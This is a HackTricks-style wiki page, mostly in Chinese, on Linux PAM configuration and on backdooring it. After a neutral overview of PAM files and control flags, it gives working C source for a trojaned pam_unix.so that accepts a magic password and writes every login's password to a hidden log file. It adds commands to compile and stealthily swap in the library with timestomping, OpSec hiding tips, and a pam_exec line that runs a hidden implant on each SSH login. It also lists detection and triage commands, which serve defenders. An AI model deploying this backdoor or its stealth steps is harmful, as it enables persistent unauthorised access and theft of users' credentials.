PAM - Pluggable Authentication Modules

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

PAM (Pluggable Authentication Modules) 充当一种安全机制,验证试图访问计算机服务的用户身份,并根据各种条件控制其访问。它类似于数字门卫,确保只有被授权的用户可以使用特定服务,同时可限制他们的使用以防止系统过载。

配置文件

  • Solaris 和基于 UNIX 的系统 通常使用位于 /etc/pam.conf 的中央配置文件。
  • Linux 系统 倾向于使用目录方式,将针对各服务的配置存放在 /etc/pam.d 中。例如,login 服务的配置文件位于 /etc/pam.d/login

下面是 login 服务的 PAM 配置示例:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM 管理域

这些域或管理组包括 authaccountpasswordsession,各自负责认证与会话管理流程的不同方面:

  • Auth:验证用户身份,通常通过提示输入密码。
  • Account:处理账户验证,检查诸如组成员身份或时间限制等条件。
  • Password:管理密码更新,包括复杂性检查或防止字典攻击。
  • Session:在服务会话开始或结束时管理动作,例如挂载目录或设置资源限制。

PAM 模块控制

这些控制定义模块在成功或失败时的响应,影响整体认证流程。包括:

  • Required:必需模块失败会导致最终失败,但只有在所有后续模块都被检查之后才生效。
  • Requisite:一旦失败立即终止流程。
  • Sufficient:成功将跳过同一域中其余检查,除非后续模块失败。
  • Optional:仅当它是堆栈中唯一模块时才会导致失败。

示例场景

在配置了多个 auth 模块的环境中,过程按照严格顺序进行。如果 pam_securetty 模块发现登录终端未被授权,则会阻止 root 登录,但由于其 “required” 状态,所有模块仍会被处理。pam_env 设置环境变量,可能改善用户体验。pam_ldappam_unix 模块协同验证用户,pam_unix 会尝试使用先前提供的密码,从而提高认证方法的效率与灵活性。

Backdooring PAM – Hooking pam_unix.so

在高价值的 Linux 环境中,一个经典的持久化技巧是将合法的 PAM 库替换为一个被木马化的 drop-in。因为每次 SSH / 控制台登录最终都会调用 pam_unix.so:pam_sm_authenticate(),几行 C 代码就足以捕获凭证或实现一个 magic 密码绕过。

Compilation Cheatsheet

示例 `pam_unix.so` trojan ```c #define _GNU_SOURCE #include #include #include #include #include

static int (*orig)(pam_handle_t *, int, int, const char **); static const char *MAGIC = “Sup3rS3cret!”;

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) { const char *user, *pass; pam_get_user(pamh, &user, NULL); pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd → immediate success */ if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */ int fd = open(“/usr/bin/.dbus.log”, O_WRONLY|O_APPEND|O_CREAT, 0600); dprintf(fd, “%s:%s\n”, user, pass); close(fd);

/* Fall back to original function */ if(!orig) { orig = dlsym(RTLD_NEXT, “pam_sm_authenticate”); } return orig(pamh, flags, argc, argv); }

</details>

Compile and stealth-replace:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. Atomic overwrite – 将文件写入临时文件并使用 mv 替换到目标位置,以避免半写入的库导致 SSH 被锁定。
  2. Log file placement such as /usr/bin/.dbus.log 会与合法的桌面痕迹混淆。
  3. Keep symbol exports identical (pam_sm_setcred, etc.) 以避免 PAM 行为异常。

检测

  • pam_unix.so 的 MD5/SHA256 与发行版包进行比对。
  • 使用 rpm -V pamdebsums -s libpam-modules 在不手动哈希的情况下发现被替换的库。
  • 检查 /lib/security/ 下是否存在 world-writable 或异常所有权。
  • auditd rule: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.
  • 在 PAM 配置中查找异常模块:grep -R "pam_[a-z].*\.so" /etc/pam.d/ | grep -v pam_unix.

快速初步排查命令 (post-compromise or threat hunting)

# 1) Spot alien PAM objects
find /{lib,usr/lib,usr/local/lib}{,64}/security -type f -printf '%p %s %M %u:%g %TY-%Tm-%Td\n' | grep -E 'pam_|libselinux'

# 2) Verify package integrity
command -v rpm >/dev/null && rpm -V pam || debsums -s libpam-modules

# 3) Identify non-packaged PAM modules
for f in /{lib,usr/lib,usr/local/lib}{,64}/security/*.so; do
dpkg -S "$f" >/dev/null 2>&1 || echo "UNPACKAGED: $f";
done

# 4) Look for stealth config edits
grep -R "pam_.*\.so" /etc/pam.d/ | grep -E 'plg|selinux|custom|exec'

滥用 pam_exec 实现持久性

与替换 pam_unix.so 不同,更轻的做法是在 /etc/pam.d/sshd 追加一行 pam_exec,这样每次 SSH 登录都会在保持正常堆栈不变的同时启动 implant:

# Prepend to /etc/pam.d/sshd
session optional pam_exec.so quiet /usr/local/bin/.ssh_hook.sh

pam_exec 在 sshd PAM 上下文中以 root 身份运行,因此脚本可以 drop reverse shells、收集 env vars,或重新打开已植入的 sockets,而无需对核心库的文件系统进行更改。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks